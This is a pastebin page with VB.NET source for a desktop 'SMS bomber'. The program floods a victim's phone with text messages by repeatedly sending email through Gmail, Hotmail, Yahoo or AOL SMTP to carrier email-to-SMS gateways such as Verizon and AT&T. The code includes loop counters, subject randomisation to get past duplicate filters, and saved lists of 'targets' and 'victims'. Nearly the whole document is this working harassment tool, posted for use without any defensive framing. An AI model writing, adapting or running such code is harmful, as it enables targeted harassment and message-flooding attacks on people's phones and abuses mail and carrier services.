Don't like ads? PRO users don't see any ads ;-)

Advance / Powerfull SmS bomber [ Source ]

By: prince_aamir on May 19th, 2012  |  syntax: VB.NET  |  size: 29.88 KB  |  hits: 70  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. 'thnx to prince_aamir for this code :)
  2. Imports System.IO
  3. Imports System.IO.File
  4. Imports System.Net.Mail
  5. Public Class Form1
  6.     Const FileSplit = "<-@r0-<"
  7.     Dim pwn As Random
  8.     Dim PhoneNumber1, Provider, Provider1, EmailProvider, Carrier, PhoneNumber, SMS, stub As String
  9.     Dim movin As New Point(137, 76)
  10.     Dim appLocation, CurLocation As New Point(0, 0)
  11.     Dim i As Integer = 0
  12.  
  13.     Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  14.         Form3.Close()
  15.     End Sub
  16.  
  17.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  18.         RadioButton1.Checked = True
  19.         Button2.Enabled = False
  20.         TextBox3.Enabled = False
  21.         TextBox4.Enabled = False
  22.         TextBox6.Enabled = False
  23.         StatusLabel1.Text = "Ready"
  24.         If Directory.Exists(Application.StartupPath & "\Senders\") = False Then
  25.             Directory.CreateDirectory(Application.StartupPath & "\Senders\")
  26.         End If
  27.         If Directory.Exists(Application.StartupPath & "\Targets\") = False Then
  28.             Directory.CreateDirectory(Application.StartupPath & "\Targets\")
  29.         End If
  30.         If Directory.Exists(Application.StartupPath & "\CUSTOM\") = False Then
  31.             Directory.CreateDirectory(Application.StartupPath & "\CUSTOM\")
  32.         End If
  33.         If Directory.Exists(Application.StartupPath & "\List\") = False Then
  34.             Directory.CreateDirectory(Application.StartupPath & "\List\")
  35.         End If
  36.         Dim direc As New IO.DirectoryInfo(Application.StartupPath & "\Senders\")
  37.         Dim direc1 As New IO.DirectoryInfo(Application.StartupPath & "\Targets\")
  38.         Dim customcarrier As New IO.DirectoryInfo(Application.StartupPath & "\CUSTOM\")
  39.         Dim list As New IO.DirectoryInfo(Application.StartupPath & "\List\")
  40.         Dim senderinfo As IO.FileInfo() = direc.GetFiles("*.sndr")
  41.         Dim carriers As IO.FileInfo() = customcarrier.GetFiles("*.txt")
  42.         Dim targetinfo As IO.FileInfo() = direc1.GetFiles("*.tgt")
  43.         Dim targetlist As IO.FileInfo() = list.GetFiles("*.txt")
  44.  
  45.         Dim fileName As IO.FileInfo
  46.         For Each fileName In senderinfo
  47.             Dim fileName1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  48.             ComboBox3.Items.Add(fileName1)
  49.         Next
  50.  
  51.         For Each fileName In targetinfo
  52.             Dim fileName1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  53.             ComboBox4.Items.Add(fileName1)
  54.         Next
  55.  
  56.         For Each fileName In carriers
  57.             Dim fileName1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  58.             ComboBox2.Items.Add(fileName1)
  59.         Next
  60.  
  61.         For Each fileName In targetlist
  62.             Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  63.             ComboBoxEx3.Items.Add(filename1)
  64.         Next
  65.     End Sub
  66.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  67.         If TextBox1.Text.Contains("@") = False Then
  68.             MessageBox.Show(TextBox1.Text & " is not a valid email address", "Invalid Email", MessageBoxButtons.OK)
  69.             Exit Sub
  70.         End If
  71.         If RadioButton2.Checked = True Then
  72.             BackgroundWorker2.RunWorkerAsync()
  73.             ProgressBar1.Maximum = NumericUpDown2.Value
  74.         ElseIf RadioButton1.Checked = True Then
  75.             BackgroundWorker1.RunWorkerAsync()
  76.             ProgressBar1.Maximum = NumericUpDown1.Value
  77.         End If
  78.         Button1.Enabled = False
  79.         Button3.Enabled = False
  80.         TabControl1.Enabled = False
  81.         Button2.Enabled = True
  82.     End Sub
  83.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  84.         BackgroundWorker1.CancelAsync()
  85.         BackgroundWorker2.CancelAsync()
  86.     End Sub
  87.     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  88.         Me.Close()
  89.     End Sub
  90.  
  91.  
  92.  
  93.  
  94.     Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
  95.         Dim pwn As New Random
  96.         PhoneNumber = TextBox5.Text
  97.         Provider = TextBox6.Text
  98.         SMS = PhoneNumber & Provider
  99.         Dim Nuke As New MailMessage
  100.         Nuke.From = New MailAddress(TextBox1.Text)
  101.         Nuke.To.Add(SMS)
  102.         Nuke.Subject = TextBox7.Text
  103.         Nuke.Body = TextBox8.Text
  104.         Nuke.Priority = MailPriority.High
  105.         Dim SMTPServer As New SmtpClient(TextBox3.Text)
  106.         SMTPServer.Port = (TextBox4.Text)
  107.         SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
  108.         SMTPServer.EnableSsl = True
  109.         Do Until i = NumericUpDown1.Value
  110.             If BackgroundWorker1.CancellationPending Then
  111.                 Exit Sub
  112.             End If
  113.             If CheckBox4.Checked = True Then
  114.                 Nuke.Subject = TextBox7.Text & pwn.Next(1, 100000)
  115.             End If
  116.             SMTPServer.Send(Nuke)
  117.             i = i + 1
  118.             BackgroundWorker1.ReportProgress(0)
  119.         Loop
  120.     End Sub
  121.     Private Sub done() Handles BackgroundWorker1.RunWorkerCompleted
  122.         If i = 0 Then
  123.             MessageBox.Show("Send Failure" & vbNewLine & "Please check all the information and settings you have entered and" & vbNewLine & "Try Again", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
  124.         Else
  125.             MsgBox(i & " " & "Messages Sent Successfully")
  126.         End If
  127.         Me.Text = "SMS130"
  128.         StatusLabel1.Text = "Ready"
  129.         StatusLabel2.Text = "     "
  130.         Button2.Enabled = False
  131.         TabControl1.Enabled = True
  132.         Button1.Enabled = True
  133.         Button3.Enabled = True
  134.         i = 0
  135.         If CheckedListBox1.Items.Contains(SMS) Then
  136.             Exit Sub
  137.         Else
  138.             CheckedListBox1.Items.Add(SMS)
  139.         End If
  140.     End Sub
  141.     Sub report() Handles BackgroundWorker1.ProgressChanged
  142.         StatusLabel2.Text = i & "/" & NumericUpDown1.Value
  143.         Me.Text = "SMS130" & "[" & i & "/" & NumericUpDown1.Value & "]"
  144.         StatusLabel1.Text = "Dropin Nukes"
  145.         ProgressBar1.Value = i
  146.     End Sub
  147.  
  148.  
  149.  
  150.  
  151.     Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
  152.         If TextBox10.Text = "" Then
  153.             MessageBox.Show("Please specify a SenderFile Name", "Save As", MessageBoxButtons.OK)
  154.             Exit Sub
  155.         ElseIf Directory.Exists(Application.StartupPath & "\Senders\") = False Then
  156.             Directory.CreateDirectory(Application.StartupPath & "\Senders\")
  157.         ElseIf File.Exists(Application.StartupPath & "\Senders\" & TextBox10.Text & ".sndr") = True Then
  158.             If MessageBox.Show("This will erase your currently saved settings", "OverWrite", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
  159.                 Exit Sub
  160.             End If
  161.         End If
  162.         Dim fs As New FileStream(Application.StartupPath & "\Senders\" & TextBox10.Text & ".sndr", FileMode.Create, FileAccess.Write)
  163.         Dim Save As New StreamWriter(fs)
  164.         Save.BaseStream.Seek(0, SeekOrigin.End)
  165.         Save.WriteLine(TextBox1.Text)
  166.         Save.WriteLine(TextBox2.Text)
  167.         Save.WriteLine(ComboBox1.Text)
  168.         Save.WriteLine(TextBox3.Text)
  169.         Save.WriteLine(TextBox4.Text)
  170.         StatusLabel1.Text = "Sender Info Saved"
  171.         Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\Senders\")
  172.         Dim senderinfo As IO.FileInfo() = dir.GetFiles("*.sndr")
  173.  
  174.         Dim fileName As IO.FileInfo
  175.         ComboBox3.Items.Clear()
  176.         For Each fileName In senderinfo
  177.             Dim fileName1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  178.             ComboBox3.Items.Add(fileName1)
  179.         Next
  180.         Save.Close()
  181.     End Sub
  182.     Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
  183.         If ComboBox3.Text = "" Then
  184.             MessageBox.Show("Please specify a SenderFile Name", "Save As", MessageBoxButtons.OK)
  185.             Exit Sub
  186.         End If
  187.         Dim fs = New FileStream(Application.StartupPath & "\Senders\" & ComboBox3.Text & ".sndr", FileMode.Open, FileAccess.Read)
  188.         Dim d As New StreamReader(fs)
  189.         d.BaseStream.Seek(0, SeekOrigin.Begin)
  190.         While d.Peek() > -1
  191.             TextBox1.Text = d.ReadLine
  192.             TextBox2.Text = d.ReadLine
  193.             ComboBox1.Text = d.ReadLine
  194.             TextBox3.Text = d.ReadLine
  195.             TextBox4.Text = d.ReadLine
  196.         End While
  197.         StatusLabel1.Text = "Sender Info Loaded"
  198.         d.Close()
  199.     End Sub
  200.     Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click
  201.         TextBox1.Text = ""
  202.         TextBox2.Text = ""
  203.         ComboBox1.Text = ""
  204.         TextBox3.Text = ""
  205.         TextBox4.Text = ""
  206.         StatusLabel1.Text = "Sender Info Cleared"
  207.     End Sub
  208.  
  209.     Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged
  210.         EmailProvider = ComboBox1.Text
  211.         If EmailProvider = "Custom" Then
  212.             CheckBox2.Checked = True
  213.             TextBox3.Text = ""
  214.             TextBox4.Text = ""
  215.             TextBox3.Enabled = True
  216.             TextBox4.Enabled = True
  217.         ElseIf EmailProvider = "Gmail" Then
  218.             CheckBox2.Checked = False
  219.             TextBox3.Enabled = False
  220.             TextBox4.Enabled = False
  221.             TextBox3.Text = "smtp.gmail.com"
  222.             TextBox4.Text = "587"
  223.         ElseIf EmailProvider = "HotMail" Then
  224.             CheckBox2.Checked = False
  225.             TextBox3.Enabled = False
  226.             TextBox4.Enabled = False
  227.             TextBox3.Text = "smtp.live.com"
  228.             TextBox4.Text = "587"
  229.         ElseIf EmailProvider = "Yahoo Mail" Then
  230.             CheckBox2.Checked = False
  231.             TextBox3.Enabled = False
  232.             TextBox4.Enabled = False
  233.             TextBox3.Text = "smtp.mail.yahoo.com"
  234.             TextBox4.Text = "465"
  235.         ElseIf EmailProvider = "AOL Mail" Then
  236.             CheckBox2.Checked = False
  237.             TextBox3.Enabled = False
  238.             TextBox4.Enabled = False
  239.             TextBox3.Text = "smtp.aol.com"
  240.             TextBox4.Text = "587"
  241.         End If
  242.     End Sub
  243.     Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox2.CheckedChanged
  244.         If CheckBox2.Checked = True Then
  245.             ComboBox1.Text = "Custom"
  246.             TextBox3.Text = ""
  247.             TextBox4.Text = ""
  248.             TextBox3.Enabled = True
  249.             TextBox4.Enabled = True
  250.         ElseIf CheckBox2.Checked = False Then
  251.             ComboBox1.Text = ""
  252.             TextBox3.Enabled = False
  253.             TextBox4.Enabled = False
  254.         End If
  255.     End Sub
  256.  
  257.     Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
  258.         If CheckBox1.Checked = True Then
  259.             TextBox2.PasswordChar = "*"
  260.         ElseIf CheckBox1.Checked = False Then
  261.             TextBox2.PasswordChar = ""
  262.         End If
  263.     End Sub
  264.  
  265.     Private Sub Button18_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button18.Click
  266.         Dim filelocation As String = ""
  267.         filelocation = Application.StartupPath & "\Senders\" & ComboBox3.Text & ".sndr"
  268.         If File.Exists(filelocation) = False Then
  269.             MessageBox.Show("No such file exsists", "No File", MessageBoxButtons.OK)
  270.             Exit Sub
  271.         ElseIf MessageBox.Show("Are you sure that you want to delete the sender", "Prompt", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
  272.             Exit Sub
  273.         End If
  274.         File.Delete(filelocation)
  275.         Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\Senders\")
  276.         Dim senderinfo As IO.FileInfo() = dir.GetFiles("*.sndr")
  277.  
  278.         Dim fileName As IO.FileInfo
  279.         ComboBox3.Items.Clear()
  280.         For Each fileName In senderinfo
  281.             Dim fileName1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  282.             ComboBox3.Items.Add(fileName1)
  283.         Next
  284.         TextBox10.Text = ""
  285.         ComboBox3.Text = ""
  286.  
  287.     End Sub
  288.  
  289.     Private Sub RadioButton1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton1.CheckedChanged
  290.         If RadioButton1.Checked = True Then
  291.             GroupBox2.Enabled = True
  292.             GroupBox3.Enabled = False
  293.         End If
  294.     End Sub
  295.     Private Sub RadioButton2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton2.CheckedChanged
  296.         If RadioButton2.Checked = True Then
  297.             GroupBox3.Enabled = True
  298.         Else
  299.             GroupBox3.Enabled = False
  300.         End If
  301.     End Sub
  302.  
  303.  
  304.  
  305.  
  306.  
  307.  
  308.     Private Sub BackgroundWorker2_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker2.DoWork
  309.         If TextBox1.Text.Contains("@") = False Then
  310.             MessageBox.Show(TextBox1.Text & " is not a valid email address", "Invalid Email", MessageBoxButtons.OK)
  311.             Exit Sub
  312.         End If
  313.         Dim Nuke As New MailMessage
  314.         Nuke.From = New MailAddress(TextBox1.Text)
  315.         For Each item As String In CheckedListBox1.CheckedItems
  316.             Nuke.To.Add(item)
  317.         Next
  318.         Nuke.Subject = TextBox7.Text
  319.         Nuke.Body = TextBox8.Text
  320.         Nuke.Priority = MailPriority.High
  321.         Dim SMTPServer As New SmtpClient(TextBox3.Text)
  322.         SMTPServer.Port = (TextBox4.Text)
  323.         SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
  324.         SMTPServer.EnableSsl = True
  325.         Do Until i = NumericUpDown1.Value
  326.             If BackgroundWorker1.CancellationPending Then
  327.                 Exit Sub
  328.             End If
  329.             If CheckBox4.Checked Then
  330.                 Nuke.Subject = TextBox7.Text & pwn.Next(1, 100000)
  331.             End If
  332.             SMTPServer.Send(Nuke)
  333.             i = i + 1
  334.             BackgroundWorker2.ReportProgress(0)
  335.         Loop
  336.     End Sub
  337.     Private Sub Done1() Handles BackgroundWorker2.RunWorkerCompleted
  338.         If i = 0 Then
  339.             MessageBox.Show("Send Failure" & vbNewLine & "Please check all the information and settings you have entered and" & vbNewLine & "Try Again", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
  340.         Else
  341.             MsgBox(i & " " & "Messages Sent Successfully")
  342.         End If
  343.         StatusLabel1.Text = "Ready"
  344.         StatusLabel2.Text = "     "
  345.         Button2.Enabled = False
  346.         GroupBox1.Enabled = True
  347.         GroupBox2.Enabled = True
  348.         Button1.Enabled = True
  349.         Button3.Enabled = True
  350.         i = 0
  351.     End Sub
  352.     Sub report1() Handles BackgroundWorker2.ProgressChanged
  353.         StatusLabel2.Text = i & "/" & NumericUpDown2.Value
  354.         StatusLabel1.Text = "Dropin Nukes"
  355.         ProgressBar1.Value = i
  356.     End Sub
  357.  
  358.  
  359.  
  360.  
  361.     Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click
  362.         If TextBox9.Text = "" Then
  363.             MessageBox.Show("Please specify target file name", "Save as", MessageBoxButtons.OK)
  364.             Exit Sub
  365.         ElseIf File.Exists(Application.StartupPath & "\Targets\" & TextBox9.Text & ".tgt") = True Then
  366.             If MessageBox.Show("The file name(" & TextBox9.Text & ") already exsists.Would you like to overwrite it", "Overwrite", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
  367.                 Exit Sub
  368.             End If
  369.         End If
  370.  
  371.         Dim fs1 As New FileStream(Application.StartupPath & "\Targets\" & TextBox9.Text & ".tgt", FileMode.Create, FileAccess.Write)
  372.         Dim Save1 As New StreamWriter(fs1)
  373.         Save1.BaseStream.Seek(0, SeekOrigin.End)
  374.         Save1.WriteLine(TextBox5.Text)
  375.         Save1.WriteLine(ComboBox2.Text)
  376.         Save1.WriteLine(TextBox6.Text)
  377.         Save1.WriteLine(NumericUpDown1.Value)
  378.         Save1.WriteLine(TextBox7.Text)
  379.         Save1.WriteLine(TextBox8.Text)
  380.         StatusLabel1.Text = "Target Info Saved"
  381.         Save1.Close()
  382.         Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\Targets\")
  383.         Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.tgt")
  384.  
  385.         Dim fileName As IO.FileInfo
  386.         ComboBox4.Items.Clear()
  387.         For Each fileName In targetinfo
  388.             Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  389.             ComboBox4.Items.Add(filename1)
  390.         Next
  391.     End Sub
  392.     Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click
  393.         If ComboBox4.Text = "" Then
  394.             MessageBox.Show("Please specify a TargetFile Name", "Specify File", MessageBoxButtons.OK)
  395.             Exit Sub
  396.         ElseIf File.Exists(Application.StartupPath & "\Targets\" & ComboBox4.Text & ".tgt") = False Then
  397.             MessageBox.Show("File not found", "Not Found", MessageBoxButtons.OK)
  398.             Exit Sub
  399.         End If
  400.         Dim fs1 = New FileStream(Application.StartupPath & "\Targets\" & ComboBox4.Text & ".tgt", FileMode.Open, FileAccess.Read)
  401.         Dim r As New StreamReader(fs1)
  402.         r.BaseStream.Seek(0, SeekOrigin.Begin)
  403.         While r.Peek() > -1
  404.             TextBox5.Text = r.ReadLine
  405.             ComboBox2.Text = r.ReadLine
  406.             TextBox6.Text = r.ReadLine
  407.             NumericUpDown1.Value = r.ReadLine
  408.             TextBox7.Text = r.ReadLine
  409.             TextBox8.Text = r.ReadLine
  410.         End While
  411.         StatusLabel1.Text = "Target Info Loaded"
  412.         Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\Targets\")
  413.         Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.tgt")
  414.  
  415.         Dim fileName As IO.FileInfo
  416.         ComboBox4.Items.Clear()
  417.         For Each fileName In targetinfo
  418.             Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  419.             ComboBox4.Items.Add(filename1)
  420.         Next
  421.     End Sub
  422.     Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click
  423.         TextBox5.Text = ""
  424.         ComboBox2.Text = ""
  425.         TextBox6.Text = ""
  426.         NumericUpDown1.Value = 0
  427.         TextBox7.Text = ""
  428.         TextBox8.Text = ""
  429.     End Sub
  430.     Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
  431.         If TextBox5.Text <> "" And ComboBox2.Text <> "" And TextBox6.Text <> "" Then
  432.  
  433.         ElseIf CheckedListBox1.Items.Contains(SMS) = True Then
  434.             If MessageBox.Show("This Target is already exsists in the list. Would you like to add it anyway for some strange reason?", "Target Exists", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
  435.                 Exit Sub
  436.             End If
  437.         End If
  438.         CheckedListBox1.Items.Add(SMS, CheckState.Checked)
  439.     End Sub
  440.  
  441.     Private Sub ComboBox2_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox2.SelectedIndexChanged
  442.         Carrier = ComboBox2.Text
  443.         If Carrier = "Custom" Then
  444.             CheckBox3.Checked = True
  445.         ElseIf Carrier = "Verizon" Then
  446.             CheckBox3.Checked = False
  447.             TextBox6.Enabled = False
  448.             TextBox6.Text = "@vtext.com"
  449.         ElseIf Carrier = "Sprint PCS" Then
  450.             CheckBox3.Checked = False
  451.             TextBox6.Enabled = False
  452.             TextBox6.Text = "@messaging.sprintpcs.com"
  453.         ElseIf Carrier = "AT & T" Then
  454.             CheckBox3.Checked = False
  455.             TextBox6.Enabled = False
  456.             TextBox6.Text = "@txt.att.net"
  457.         ElseIf Carrier = "T-Mobile" Then
  458.             CheckBox3.Checked = False
  459.             TextBox6.Enabled = False
  460.             TextBox6.Text = "@tmomail.net"
  461.         ElseIf Carrier = "Virgin Mobile" Then
  462.             CheckBox3.Checked = False
  463.             TextBox6.Enabled = False
  464.             TextBox6.Text = "@vmobl.com"
  465.         ElseIf Carrier = "Cricket" Then
  466.             CheckBox3.Checked = False
  467.             TextBox6.Enabled = False
  468.             TextBox6.Text = "@sms.mycricket.com"
  469.         ElseIf Carrier <> "" Then
  470.             Dim fs1 = New FileStream(Application.StartupPath & "\CUSTOM\" & Carrier & ".txt", FileMode.Open, FileAccess.Read)
  471.             Dim r As New StreamReader(fs1)
  472.             r.BaseStream.Seek(0, SeekOrigin.Begin)
  473.             While r.Peek() > -1
  474.                 TextBox6.Text = r.ReadLine
  475.             End While
  476.  
  477.         End If
  478.         PhoneNumber = TextBox5.Text
  479.         Provider = TextBox6.Text
  480.         SMS = PhoneNumber & Provider
  481.  
  482.     End Sub
  483.     Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged
  484.         If CheckBox3.Checked = True Then
  485.             ComboBox2.Text = "Custom"
  486.             TextBox6.Text = ""
  487.             TextBox6.Enabled = True
  488.         ElseIf CheckBox3.Checked = False Then
  489.             ComboBox2.Text = ""
  490.             TextBox6.Enabled = False
  491.         End If
  492.     End Sub
  493.  
  494.     Private Sub Checkbox3_Movingwords(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.MouseHover
  495.         Timer2.Enabled = True
  496.         Timer2.Start()
  497.     End Sub
  498.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  499.         CheckBox3.Text = CheckBox3.Text.Substring(1) & CheckBox3.Text.Substring(0, 1)
  500.     End Sub
  501.     Private Sub Checkbox3_MouseLeave(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.MouseLeave
  502.         Timer2.Stop()
  503.         CheckBox3.Text = "Custom Carrier or Email      "
  504.     End Sub
  505.  
  506.     Private Sub Button19_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button19.Click
  507.         Dim filelocation As String = ""
  508.         filelocation = Application.StartupPath & "\Targets\" & ComboBox4.Text & ".tgt"
  509.         If File.Exists(filelocation) = False Then
  510.             MessageBox.Show("The file specified does not exsist", "File Not Found", MessageBoxButtons.OK)
  511.             Exit Sub
  512.         ElseIf File.Exists(filelocation) = True Then
  513.             If MessageBox.Show("Are you sure you would like to delete the selected target: " & ComboBox4.Text, "Prompt", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
  514.                 Exit Sub
  515.             End If
  516.         End If
  517.         File.Delete(filelocation)
  518.         ComboBox4.Text = ""
  519.         Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\Targets\")
  520.         Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.tgt")
  521.  
  522.         Dim fileName As IO.FileInfo
  523.         ComboBox4.Items.Clear()
  524.         For Each fileName In targetinfo
  525.             Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  526.             ComboBox4.Items.Add(filename1)
  527.         Next
  528.  
  529.     End Sub
  530.  
  531.  
  532.  
  533.     Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
  534.         For i As Integer = 0 To CheckedListBox1.Items.Count - 1
  535.             Me.CheckedListBox1.SetItemChecked(i, True)
  536.         Next i
  537.     End Sub
  538.     Private Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.Click
  539.         For i As Integer = 0 To CheckedListBox1.Items.Count - 1
  540.             CheckedListBox1.SetItemChecked(i, False)
  541.         Next i
  542.     End Sub
  543.     Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click
  544.         While CheckedListBox1.CheckedItems.Count > 0
  545.             CheckedListBox1.Items.Remove(CheckedListBox1.CheckedItems(0))
  546.         End While
  547.     End Sub
  548.  
  549.     Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
  550.         If TextBox11.Text = "" Then
  551.             MessageBox.Show("Please specify a Target List File Name", "Save As", MessageBoxButtons.OK)
  552.             Exit Sub
  553.         End If
  554.         If File.Exists(Application.StartupPath & "\List\" & TextBox11.Text) Then
  555.             If MessageBox.Show("The file name(" & TextBox11.Text & ") already exsists.Would you like to overwrite it", "Overwrite", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
  556.                 Exit Sub
  557.             End If
  558.         ElseIf File.Exists(Application.StartupPath & "\List\" & TextBox11.Text) = True Then
  559.             If MessageBox.Show("This will erase your currently saved settings", "OverWrite", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
  560.                 Exit Sub
  561.             End If
  562.         End If
  563.         Dim fs2 As New FileStream(Application.StartupPath & "\List\" & TextBox11.Text & ".txt", FileMode.Create, FileAccess.Write)
  564.         Dim Save2 As New StreamWriter(fs2)
  565.         Save2.BaseStream.Seek(0, SeekOrigin.End)
  566.         For Each Item As String In CheckedListBox1.Items
  567.             Save2.WriteLine(Item)
  568.         Next
  569.         StatusLabel1.Text = "List Saved"
  570.         Save2.Close()
  571.         Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\List\")
  572.         Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.txt")
  573.  
  574.         Dim fileName As IO.FileInfo
  575.         ComboBoxex3.Items.Clear()
  576.         For Each fileName In targetinfo
  577.             Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  578.             ComboBoxex3.Items.Add(filename1)
  579.         Next
  580.     End Sub
  581.     Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
  582.         If ComboBoxex3.Text = "" Then
  583.             MessageBox.Show("Please specify a Target List File Name", "Save As", MessageBoxButtons.OK)
  584.             Exit Sub
  585.         End If
  586.         If File.Exists(Application.StartupPath & "\List\" & ComboBoxex3.Text & ".txt") = False Then
  587.             MessageBox.Show("The File specified does not exist", "File Not Found", MessageBoxButtons.OK)
  588.         End If
  589.         Dim fs = New FileStream(Application.StartupPath & "\List\" & ComboBoxex3.Text & ".txt", FileMode.Open, FileAccess.Read)
  590.         Dim d As New StreamReader(fs)
  591.         d.BaseStream.Seek(0, SeekOrigin.Begin)
  592. list:
  593.         Do While d.Peek() > -1
  594.             Dim victim As String = d.ReadLine
  595.             If CheckedListBox1.Items.Contains(victim) = True Then
  596.                 If MessageBox.Show(victim & " already exsists in the list. Would you like to add it anyway for some strange reason?", "Target Exists", MessageBoxButtons.YesNo) = Windows.Forms.DialogResult.No Then
  597.                     GoTo list
  598.                 End If
  599.             End If
  600.             CheckedListBox1.Items.Add(victim)
  601.         Loop
  602.         StatusLabel1.Text = "Target List Loaded"
  603.         d.Close()
  604.         Dim dir As New IO.DirectoryInfo(Application.StartupPath & "\List\")
  605.         Dim targetinfo As IO.FileInfo() = dir.GetFiles("*.txt")
  606.  
  607.         Dim fileName As IO.FileInfo
  608.         ComboBoxex3.Items.Clear()
  609.         For Each fileName In targetinfo
  610.             Dim filename1 As String = IO.Path.GetFileNameWithoutExtension(fileName.FullName)
  611.             ComboBoxex3.Items.Add(filename1)
  612.         Next
  613.     End Sub
  614.  
  615.  
  616.  
  617.     Private Sub Panel1_MouseDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Panel1.MouseDown
  618.         Timer1.Enabled = True
  619.         Timer1.Start()
  620.         windowlocation()
  621.     End Sub
  622.     Private Sub windowlocation()
  623.         appLocation = Me.Location
  624.         CurLocation = Cursor.Position
  625.     End Sub
  626.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  627.         Me.Location = appLocation - CurLocation + Cursor.Position
  628.         windowlocation()
  629.     End Sub
  630.     Private Sub panel1_MouseUp(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Panel1.MouseUp
  631.         Timer1.Stop()
  632.         windowlocation()
  633.     End Sub
  634.  
  635.     Private Sub ButtonX1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles buttonx1.Click
  636.         Me.Enabled = False
  637.         Form2.Show()
  638.     End Sub
  639.     Private Sub ButtonX1_Movingwords(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles buttonx1.MouseHover
  640.         Timer3.Enabled = True
  641.         Timer3.Start()
  642.     End Sub
  643.     Private Sub ButtonX1_MouseLeave(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles buttonx1.MouseLeave
  644.         Timer3.Stop()
  645.         buttonx1.Text = "Add Custom Carrier/Email     "
  646.     End Sub
  647.     Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
  648.         buttonx1.Text = buttonx1.Text.Substring(1) & buttonx1.Text.Substring(0, 1)
  649.     End Sub
  650.  
